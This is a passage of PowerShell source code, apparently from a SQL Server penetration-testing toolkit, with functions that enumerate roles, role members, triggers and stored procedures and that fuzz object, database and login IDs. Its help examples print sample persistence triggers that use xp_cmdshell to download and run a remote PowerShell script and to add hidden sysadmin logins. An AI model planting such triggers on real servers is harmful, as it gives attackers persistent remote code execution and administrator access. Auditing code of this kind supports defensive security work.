$TblDatabaseRoles.Columns.Add('OwnerPrincipalName') $null = $TblDatabaseRoles.Columns.Add('is_fixed_role') $null = $TblDatabaseRoles.Columns.Add('create_date') $null = $TblDatabaseRoles.Columns.Add('modify_Date') $null = $TblDatabaseRoles.Columns.Add('default_schema_name') # Setup RoleOwner filter if ($RoleOwner) { $RoleOwnerFilter = " AND suser_name(owning_principal_id) like '$RoleOwner'" } else { $RoleOwnerFilter = '' } # Setup RolePrincipalName filter if ($RolePrincipalName) { $RolePrincipalNameFilter = " AND name like '$RolePrincipalName'" } else { $RolePrincipalNameFilter = '' } } Process { # Parse computer name from the instance $ComputerName = Get-ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) { $Instance = $env:COMPUTERNAME } # Test connection to instance $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if($TestConnection) { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Success." } } else { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Failed." } return } # Get list of databases if($NoDefaults) { $TblDatabases = Get-SQLDatabase -Instance $Instance -Username $Username -Password $Password -Credential $Credential -HasAccess -DatabaseName $DatabaseName -SuppressVerbose -NoDefaults } else { $TblDatabases = Get-SQLDatabase -Instance $Instance -Username $Username -Password $Password -Credential $Credential -HasAccess -DatabaseName $DatabaseName -SuppressVerbose } # Get role for each database $TblDatabases | ForEach-Object -Process { # Get database name $DbName = $_.DatabaseName if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Getting roles from the $DbName database." } # Define Query $Query = " USE $DbName; SELECT '$ComputerName' as [ComputerName], '$Instance' as [Instance], '$DbName' as [DatabaseName], principal_id as [RolePrincipalId], sid as [RolePrincipalSid], name as [RolePrincipalName], type_desc as [RolePrincipalType], owning_principal_id as [OwnerPrincipalId], suser_name(owning_principal_id) as [OwnerPrincipalName], is_fixed_role, create_date, modify_Date, default_schema_name FROM [$DbName].[sys].[database_principals] WHERE type like 'R' $RolePrincipalNameFilter $RoleOwnerFilter" # Execute Query $TblDatabaseRolesTemp = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose # Update sid formatting for each entry and append results $TblDatabaseRolesTemp | ForEach-Object -Process { # Format principal sid $NewSid = [System.BitConverter]::ToString($_.RolePrincipalSid).Replace('-','') if ($NewSid.length -le 10) { $Sid = [Convert]::ToInt32($NewSid,16) } else { $Sid = $NewSid } # Add results to table $null = $TblDatabaseRoles.Rows.Add( [string]$_.ComputerName, [string]$_.Instance, [string]$_.DatabaseName, [string]$_.RolePrincipalId, $Sid, $_.RolePrincipalName, [string]$_.RolePrincipalType, [string]$_.OwnerPrincipalId, [string]$_.OwnerPrincipalName, [string]$_.is_fixed_role, $_.create_date, $_.modify_Date, [string]$_.default_schema_name) } } } End { # Return data $TblDatabaseRoles } } # ---------------------------------- # Get-SQLDatabaseRoleMember # ---------------------------------- # Author: Scott Sutherland Function Get-SQLDatabaseRoleMember { <# .SYNOPSIS Returns database role member information from target SQL Servers. .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password SQL Server or domain account password to authenticate with. .PARAMETER Credential SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. .PARAMETER DAC Connect using Dedicated Admin Connection. .PARAMETER DatabaseName Database name to filter for. .PARAMETER RolePrincipalName Role principalname to filter for. .PARAMETER PrincipalName Name of principal or Role to filter for. .EXAMPLE PS C:\> Get-SQLDatabaseRoleMember -Instance SQLServer1\STANDARDDEV2014 -DatabaseName testdb -PrincipalName evil ComputerName : SQLServer1 Instance : SQLServer1\STANDARDDEV2014 DatabaseName : testdb RolePrincipalId : 16387 RolePrincipalName : db_ddladmin PrincipalId : 5 PrincipalName : evil ComputerName : SQLServer1 Instance : SQLServer1\STANDARDDEV2014 DatabaseName : testdb RolePrincipalId : 16391 RolePrincipalName : db_datawriter PrincipalId : 5 PrincipalName : evil .EXAMPLE PS C:\> Get-SQLInstanceLocal | Get-SQLDatabaseRoleMember -Verbose #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server database name.')] [string]$DatabaseName, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Role name.')] [string]$RolePrincipalName, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL login or Windows account name.')] [string]$PrincipalName, [Parameter(Mandatory = $false, HelpMessage = 'Only select non default databases.')] [switch]$NoDefaults, [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose ) Begin { # Table for output $TblDatabaseRoleMembers = New-Object -TypeName System.Data.DataTable # Setup login filter if ($PrincipalName) { $PrincipalNameFilter = " AND USER_NAME(member_principal_id) like '$PrincipalName'" } else { $PrincipalNameFilter = '' } # Setup role name if ($RolePrincipalName) { $RolePrincipalNameFilter = " AND USER_NAME(role_principal_id) like '$RolePrincipalName'" } else { $RolePrincipalNameFilter = '' } } Process { # Note: Tables queried by this function typically require sysadmin or DBO privileges. # Parse computer name from the instance $ComputerName = Get-ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) { $Instance = $env:COMPUTERNAME } # Test connection to instance $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if($TestConnection) { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Success." } } else { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Failed." } return } # Get list of databases if($NoDefaults) { $TblDatabases = Get-SQLDatabase -Instance $Instance -Username $Username -Password $Password -Credential $Credential -HasAccess -DatabaseName $DatabaseName -NoDefaults -SuppressVerbose } else { $TblDatabases = Get-SQLDatabase -Instance $Instance -Username $Username -Password $Password -Credential $Credential -HasAccess -DatabaseName $DatabaseName -SuppressVerbose } # Get roles for each database $TblDatabases | ForEach-Object -Process { # Get database name $DbName = $_.DatabaseName if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Getting role members for the $DbName database..." } # Define Query $Query = " USE $DbName; SELECT '$ComputerName' as [ComputerName], '$Instance' as [Instance], '$DbName' as [DatabaseName], role_principal_id as [RolePrincipalId], USER_NAME(role_principal_id) as [RolePrincipalName], member_principal_id as [PrincipalId], USER_NAME(member_principal_id) as [PrincipalName] FROM [$DbName].[sys].[database_role_members] WHERE 1=1 $RolePrincipalNameFilter $PrincipalNameFilter" # Execute Query $TblDatabaseRoleMembersTemp = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose # Append results $TblDatabaseRoleMembers = $TblDatabaseRoleMembers + $TblDatabaseRoleMembersTemp } } End { # Return data $TblDatabaseRoleMembers } } # ---------------------------------- # Get-SQLTriggerDdl # ---------------------------------- # Author: Scott Sutherland Function Get-SQLTriggerDdl { <# .SYNOPSIS Returns DDL trigger information from target SQL Servers. This includes logon triggers. .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password SQL Server or domain account password to authenticate with. .PARAMETER Credential SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. .PARAMETER TriggerName Trigger name to filter for. .EXAMPLE PS C:\> Get-SQLTriggerDdl -Instance SQLServer1\STANDARDDEV2014 ComputerName : SQLServer1 Instance : SQLServer1\STANDARDDEV2014 TriggerName : persistence_ddl_1 TriggerId : 1104722988 TriggerType : SERVER ObjectType : SQL_TRIGGER ObjectClass : SERVER TriggerDefinition : -- Create the DDL trigger CREATE Trigger [persistence_ddl_1] ON ALL Server FOR DDL_LOGIN_EVENTS AS -- Download and run a PowerShell script from the internet EXEC master..xp_cmdshell 'Powershell -c "IEX(new-object net.webclient).downloadstring(''https://raw.githubusercontent.com/nullbind/Powershellery/master/Brainstorming/trigger_demo_ddl.ps1'')"'; -- Add a sysadmin named 'SysAdmin_DDL' if it doesn't exist if (SELECT count(name) FROM sys.sql_logins WHERE name like 'SysAdmin_DDL') = 0 -- Create a login CREATE LOGIN SysAdmin_DDL WITH PASSWORD = 'Password123!'; -- Add the login to the sysadmin fixed server role EXEC sp_addsrvrolemember 'SysAdmin_DDL', 'sysadmin'; create_date : 4/26/2016 8:34:49 PM modify_date : 4/26/2016 8:34:49 PM is_ms_shipped : False is_disabled : False .EXAMPLE PS C:\> Get-SQLInstanceDomain | Get-SQLTriggerDdl -Verbose #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Trigger name.')] [string]$TriggerName, [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose ) Begin { # Table for output $TblDdlTriggers = New-Object -TypeName System.Data.DataTable # Setup role name if ($TriggerName) { $TriggerNameFilter = " AND name like '$TriggerName'" } else { $TriggerNameFilter = '' } } Process { # Note: Tables queried by this function typically require sysadmin privileges to get all rows. # Parse computer name from the instance $ComputerName = Get-ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) { $Instance = $env:COMPUTERNAME } # Test connection to instance $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if($TestConnection) { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Success." } } else { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Failed." } return } # Define Query $Query = " SELECT '$ComputerName' as [ComputerName], '$Instance' as [Instance], name as [TriggerName], object_id as [TriggerId], [TriggerType] = 'SERVER', type_desc as [ObjectType], parent_class_desc as [ObjectClass], OBJECT_DEFINITION(OBJECT_ID) as [TriggerDefinition], create_date, modify_date, is_ms_shipped, is_disabled FROM [master].[sys].[server_triggers] WHERE 1=1 $TriggerNameFilter" # Execute Query $TblDdlTriggersTemp = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose # Append results $TblDdlTriggers = $TblDdlTriggers + $TblDdlTriggersTemp } End { # Return data $TblDdlTriggers } } # ---------------------------------- # Get-SQLTriggerDml # ---------------------------------- # Author: Scott Sutherland Function Get-SQLTriggerDml { <# .SYNOPSIS Returns DML trigger information from target SQL Servers. .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password SQL Server or domain account password to authenticate with. .PARAMETER Credential SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. .PARAMETER DatabaseName Database name to filter for. .PARAMETER TriggerName Trigger name to filter for. .EXAMPLE PS C:\> Get-SQLTriggerDml -Instance SQLServer1\STANDARDDEV2014 -DatabaseName testdb ComputerName : SQLServer1 Instance : SQLServer1\STANDARDDEV2014 DatabaseName : testdb TriggerName : persistence_dml_1 TriggerId : 565577053 TriggerType : DATABASE ObjectType : SQL_TRIGGER ObjectClass : OBJECT_OR_COLUMN TriggerDefinition : -- Create trigger CREATE TRIGGER [persistence_dml_1] ON testdb.dbo.NOCList FOR INSERT, UPDATE, DELETE AS -- Impersonate sa EXECUTE AS LOGIN = 'sa' -- Download a PowerShell script from the internet to memory and execute it EXEC master..xp_cmdshell 'Powershell -c "IEX(new-object net.webclient).downloadstring(''https://raw.githubusercontent.com/nullbind/Powershellery/master/Brainstorming/trigger_demo_dml.ps1'')"'; -- Add a sysadmin named 'SysAdmin_DML' if it doesn't exist if (select count(*) from sys.sql_logins where name like 'SysAdmin_DML') = 0 -- Create a login CREATE LOGIN SysAdmin_DML WITH PASSWORD = 'Password123!'; -- Add the login to the sysadmin fixed server role EXEC sp_addsrvrolemember 'SysAdmin_DML', 'sysadmin'; create_date : 4/26/2016 8:58:28 PM modify_date : 4/26/2016 8:58:28 PM is_ms_shipped : False is_disabled : False is_not_for_replication : False is_instead_of_trigger : False .EXAMPLE PS C:\> Get-SQLInstanceDomain | Get-SQLTriggerDml -Verbose #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server database name.')] [string]$DatabaseName, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Trigger name.')] [string]$TriggerName, [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose ) Begin { # Table for output $TblDmlTriggers = New-Object -TypeName System.Data.DataTable # Setup login filter if ($TriggerName) { $TriggerNameFilter = " AND name like '$TriggerName'" } else { $TriggerNameFilter = '' } } Process { # Note: Tables queried by this function typically require sysadmin privileges to get all rows. # Parse computer name from the instance $ComputerName = Get-ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) { $Instance = $env:COMPUTERNAME } # Test connection to instance $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if($TestConnection) { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Success." Write-Verbose -Message "$Instance : Grabbing DML triggers from the databases below:." } } else { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Failed." } return } # Get list of databases $TblDatabases = Get-SQLDatabase -Instance $Instance -Username $Username -Password $Password -Credential $Credential -HasAccess -DatabaseName $DatabaseName -SuppressVerbose # Get role for each database $TblDatabases | ForEach-Object -Process { # Get database name $DbName = $_.DatabaseName if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : - $DbName" } # Define Query $Query = " use [$DbName]; SELECT '$ComputerName' as [ComputerName], '$Instance' as [Instance], '$DbName' as [DatabaseName], name as [TriggerName], object_id as [TriggerId], [TriggerType] = 'DATABASE', type_desc as [ObjectType], parent_class_desc as [ObjectClass], OBJECT_DEFINITION(OBJECT_ID) as [TriggerDefinition], create_date, modify_date, is_ms_shipped, is_disabled, is_not_for_replication, is_instead_of_trigger FROM [$DbName].[sys].[triggers] WHERE 1=1 $TriggerNameFilter" # Execute Query $TblDmlTriggersTemp = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose # Append results $TblDmlTriggers = $TblDmlTriggers + $TblDmlTriggersTemp } } End { # Return data $TblDmlTriggers } } # ---------------------------------- # Get-SQLStoredProcedure # ---------------------------------- # Author: Scott Sutherland Function Get-SQLStoredProcedure { <# .SYNOPSIS Returns stored procedures from target SQL Servers. Note: Viewing procedure definitions requires the sysadmin role or the VIEW DEFINITION permission. .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password SQL Server or domain account password to authenticate with. .PARAMETER Credential SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. .PARAMETER DatabaseName Database name to filter for. .PARAMETER ProcedureName Procedure name to filter for. .PARAMETER NoDefaults Filter out results from default databases. .EXAMPLE PS C:\> Get-SQLStoredProcure -Instance SQLServer1\STANDARDDEV2014 -NoDefaults -DatabaseName testdb ComputerName : SQLServer1 Instance : SQLServer1\STANDARDDEV2014 DatabaseName : testdb SchemaName : dbo ProcedureName : MyTestProc ProcedureType : PROCEDURE ProcedureDefinition : CREATE PROC MyTestProc WITH EXECUTE AS OWNER as begin select SYSTEM_USER as currentlogin, ORIGINAL_LOGIN() as originallogin end .EXAMPLE PS C:\> Get-SQLInstanceDomain | Get-SQLStoredProcure -Verbose -NoDefaults #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server database name.')] [string]$DatabaseName, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Trigger name.')] [string]$ProcedureName, [Parameter(Mandatory = $false, HelpMessage = "Don't select tables from default databases.")] [switch]$NoDefaults, [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose ) Begin { # Table for output $TblProcs = New-Object -TypeName System.Data.DataTable # Setup login filter if ($ProcedureName) { $ProcedureNameFilter = " AND ROUTINE_NAME like '$ProcedureName'" } else { $ProcedureNameFilter = '' } } Process { # Parse ComputerName If ($Instance) { $ComputerName = $Instance.split('\')[0].split(',')[0] $Instance = $Instance } else { $ComputerName = $env:COMPUTERNAME $Instance = '.\' } # Test connection to instance $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if($TestConnection) { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Success." Write-Verbose -Message "$Instance : Grabbing stored procedures from databases below:" } } else { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Failed." } return } # Setup NoDefault filter if($NoDefaults) { # Get list of databases $TblDatabases = Get-SQLDatabase -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DatabaseName $DatabaseName -HasAccess -NoDefaults -SuppressVerbose } else { # Get list of databases $TblDatabases = Get-SQLDatabase -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DatabaseName $DatabaseName -HasAccess -SuppressVerbose } # Get role for each database $TblDatabases | ForEach-Object -Process { # Get database name $DbName = $_.DatabaseName if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : - $DbName" } # Define Query $Query = " use [$DbName]; SELECT '$ComputerName' as [ComputerName], '$Instance' as [Instance], ROUTINE_CATALOG AS [DatabaseName], ROUTINE_SCHEMA AS [SchemaName], ROUTINE_NAME as [ProcedureName], ROUTINE_TYPE as [ProcedureType], ROUTINE_DEFINITION as [ProcedureDefinition], SQL_DATA_ACCESS, ROUTINE_BODY, CREATED, LAST_ALTERED FROM [INFORMATION_SCHEMA].[ROUTINES] WHERE 1=1 $ProcedureNameFilter" # Execute Query $TblProcsTemp = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose # Append results $TblProcs = $TblProcs + $TblProcsTemp } } End { # Return data $TblProcs } } #endregion ######################################################################### # #region UTILITY FUNCTIONS # ######################################################################### # ---------------------------------- # Get-SQLFuzzObjectName # ---------------------------------- # Author: Scott Sutherland # Reference: https://raresql.com/2013/01/29/sql-server-all-about-object_id/ # Reference: https://social.technet.microsoft.com/Forums/forefront/en-US/f73c2115-57f7-4cec-a95b-00c2d8252ace/objectid-recycled-?forum=transactsql Function Get-SQLFuzzObjectName { <# .SYNOPSIS Enumerates objects based on object id using OBJECT_NAME() and only the Public role. .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password SQL Server or domain account password to authenticate with. .PARAMETER Credential SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. .PARAMETER StartId Principal ID to start fuzzing with. .PARAMETER EndId Principal ID to stop fuzzing with. .EXAMPLE PS C:\> Get-SQLFuzzObjectName -Instance SQLServer1\STANDARDDEV2014 | Select-Object -First 5 ComputerName Instance ObjectId ObjectName ------------ -------- -------- ---------- SQLServer1 SQLServer1\STANDARDDEV2014 3 sysrscols SQLServer1 SQLServer1\STANDARDDEV2014 5 sysrowsets SQLServer1 SQLServer1\STANDARDDEV2014 6 sysclones SQLServer1 SQLServer1\STANDARDDEV2014 7 sysallocunits SQLServer1 SQLServer1\STANDARDDEV2014 8 sysfiles1 #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, HelpMessage = 'Principal ID to start fuzzing with.')] [string]$StartId = 1, [Parameter(Mandatory = $false, HelpMessage = 'Principal ID to stop fuzzing on.')] [string]$EndId = 300, [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose ) Begin { # Table for output $TblFuzzedObjects = New-Object -TypeName System.Data.DataTable } Process { # All user defined objects are assigned a positive object ID plus system tables. # Apart from these objects, the rest of the system objects are assigned negative object IDs. # This object_id comes from the primary key of system table sys.sysschobjs.The column name is id, int data type and it is not an identity column # If you create a new object in the database, the first ID will always be 2073058421 in SQL SERVER 2005 and 245575913 in SQL SERVER 2012. # The object_ID increment counter for user defined objects will add 16000057 + Last user defined object_ID and will give you a new ID. <# IThis object_id comes from the primary key of system table sys.sysschobjs. The new object_id will increase 16000057 (a prime number) from last object_id. When the last object_id +16000057 is over the int maximum ( 2147483647), it will start with a new number before the difference between the new bigint number and the maximum int. This cycle will generate 134 or 135 new object_id for each cycle. The system has a maximum number of objects, which is 2147483647. The object ID is only unique within each database. #> # Parse computer name from the instance $ComputerName = Get-ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) { $Instance = $env:COMPUTERNAME } # Test connection to instance $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if($TestConnection) { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Success." Write-Verbose -Message "$Instance : Enumerating objects from object IDs..." } } else { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Failed." } return } # Fuzz from StartId to EndId $StartId..$EndId | ForEach-Object -Process { # Define Query $Query = "SELECT '$ComputerName' as [ComputerName], '$Instance' as [Instance], '$_' as [ObjectId], OBJECT_NAME($_) as [ObjectName]" # Execute Query $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose $ObjectName = $TblResults.ObjectName if( -not $SuppressVerbose) { if($ObjectName.length -ge 2) { Write-Verbose -Message "$Instance : - Object ID $_ resolved to: $ObjectName" } else { Write-Verbose -Message "$Instance : - Object ID $_ resolved to: " } } # Append results $TblFuzzedObjects = $TblFuzzedObjects + $TblResults } } End { # Return data $TblFuzzedObjects | Where-Object -FilterScript { $_.ObjectName.length -ge 2 } } } # ---------------------------------- # Get-SQLFuzzDatabaseName # ---------------------------------- # Author: Scott Sutherland Function Get-SQLFuzzDatabaseName { <# .SYNOPSIS Enumerates databases based on database id using DB_NAME() and only the Public role. .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password SQL Server or domain account password to authenticate with. .PARAMETER Credential SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. .PARAMETER StartId Principal ID to start fuzzing with. .PARAMETER EndId Principal ID to stop fuzzing with. .EXAMPLE PS C:\> Get-SQLFuzzDatabaseName -Instance SQLServer1\STANDARDDEV2014 | Select-Object -First 5 ComputerName Instance DatabaseId DatabaseName ------------ -------- ---------- ------------ SQLServer1 SQLServer1\STANDARDDEV2014 1 master SQLServer1 SQLServer1\STANDARDDEV2014 2 tempdb SQLServer1 SQLServer1\STANDARDDEV2014 3 model SQLServer1 SQLServer1\STANDARDDEV2014 4 msdb SQLServer1 SQLServer1\STANDARDDEV2014 5 ReportServer$STANDARDDEV2014 #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, HelpMessage = 'Principal ID to start fuzzing with.')] [string]$StartId = 1, [Parameter(Mandatory = $false, HelpMessage = 'Principal ID to stop fuzzing on.')] [string]$EndId = 300, [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose ) Begin { # Table for output $TblFuzzedDbs = New-Object -TypeName System.Data.DataTable } Process { # Parse computer name from the instance $ComputerName = Get-ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) { $Instance = $env:COMPUTERNAME } # Test connection to instance $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if($TestConnection) { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Success." Write-Verbose -Message "$Instance : Enumerating database names from database IDs..." } } else { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Failed." } return } # Fuzz from StartId to EndId $StartId..$EndId | ForEach-Object -Process { # Define Query $Query = "SELECT '$ComputerName' as [ComputerName], '$Instance' as [Instance], '$_' as [DatabaseId], DB_NAME($_) as [DatabaseName]" # Execute Query $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose $DatabaseName = $TblResults.DatabaseName if($DatabaseName.length -ge 2) { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : - ID $_ - Resolved to: $DatabaseName" } } else { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : - ID $_ - Resolved to:" } } # Append results $TblFuzzedDbs = $TblFuzzedDbs + $TblResults } } End { # Return data $TblFuzzedDbs | Where-Object -FilterScript { $_.DatabaseName.length -ge 2 } } } # ---------------------------------- # Get-SQLFuzzServerLogin # ---------------------------------- # Author: Scott Sutherland Function Get-SQLFuzzServerLogin { <# .SYNOPSIS Enumerates SQL Server Logins based on login id using SUSER_NAME() and only the Public role. .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password SQL Server or domain account password to authenticate with. .PARAMETER Credential SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. .PARAMETER StartId Principal ID to start fuzzing with. .PARAMETER EndId Principal ID to stop fuzzing with. .PARAMETER GetRole Checks if the principal name is a role, SQL login, or Windows account. .EXAMPLE PS C:\> Get-SQLFuzzServerLogin -Instance SQLServer1\STANDARDDEV2014 -StartId 1 -EndId 500 | Select-Object -First 40 ComputerName Instance PrincipalId PrincipleName ------------ -------- ---------- ------------- SQLServer1 SQLServer1\STANDARDDEV2014 1 sa SQLServer1 SQLServer1\STANDARDDEV2014 2 public SQLServer1 SQLServer1\STANDARDDEV2014 3 sysadmin SQLServer1 SQLServer1\STANDARDDEV2014 4 securityadmin SQLServer1 SQLServer1\STANDARDDEV2014 5 serveradmin SQLServer1 SQLServer1\STANDARDDEV2014 6 setupadmin SQLServer1 SQLServer1\STANDARDDEV2014 7 processadmin SQLServer1 SQLServer1\STANDARDDEV2014 8 diskadmin SQLServer1 SQLServer1\STANDARDDEV2014 9 dbcreator SQLServer1 SQLServer1\STANDARDDEV2014 10 bulkadmin SQLServer1 SQLServer1\STANDARDDEV2014 101 ##MS_SQLResourceSigningCertificate## SQLServer1 SQLServer1\STANDARDDEV2014 102 ##MS_SQLReplicationSigningCertificate## SQLServer1 SQLServer1\STANDARDDEV2014 103 ##MS_SQLAuthenticatorCertificate## SQLServer1 SQLServer1\STANDARDDEV2014 105 ##MS_PolicySigningCertificate## SQLServer1 SQLServer1\STANDARDDEV2014 106 ##MS_SmoExtendedSigningCertificate## SQLServer1 